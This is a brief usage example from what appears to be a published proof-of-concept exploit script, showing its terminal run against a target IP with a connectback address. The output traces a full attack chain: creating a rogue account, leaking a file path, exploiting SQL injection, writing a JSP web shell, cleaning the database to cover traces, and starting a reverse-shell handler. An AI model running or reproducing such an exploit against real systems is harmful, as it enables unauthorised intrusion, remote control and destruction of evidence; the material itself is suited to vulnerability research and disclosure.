Example:
========

saturn:~ mr_me$ ./poc.py 
(+) usage: ./poc.py <target> <connectback>
(+) eg: ./poc.py 192.168.100.122 192.168.100.59:1337

saturn:~ mr_me$ ./poc.py 192.168.100.122 192.168.100.59:1337
(+) created the account hacker:Hacked123
(+) created the 1337/custom path!
(+) leaked vfs! temp230cf[PII_REDACTED]6/content-ed98b5003b1c695c
(+) SQL Injection working!
(+) wrote the si.jsp shell!
(+) cleaned up the database!
(+) starting handler on port 1337
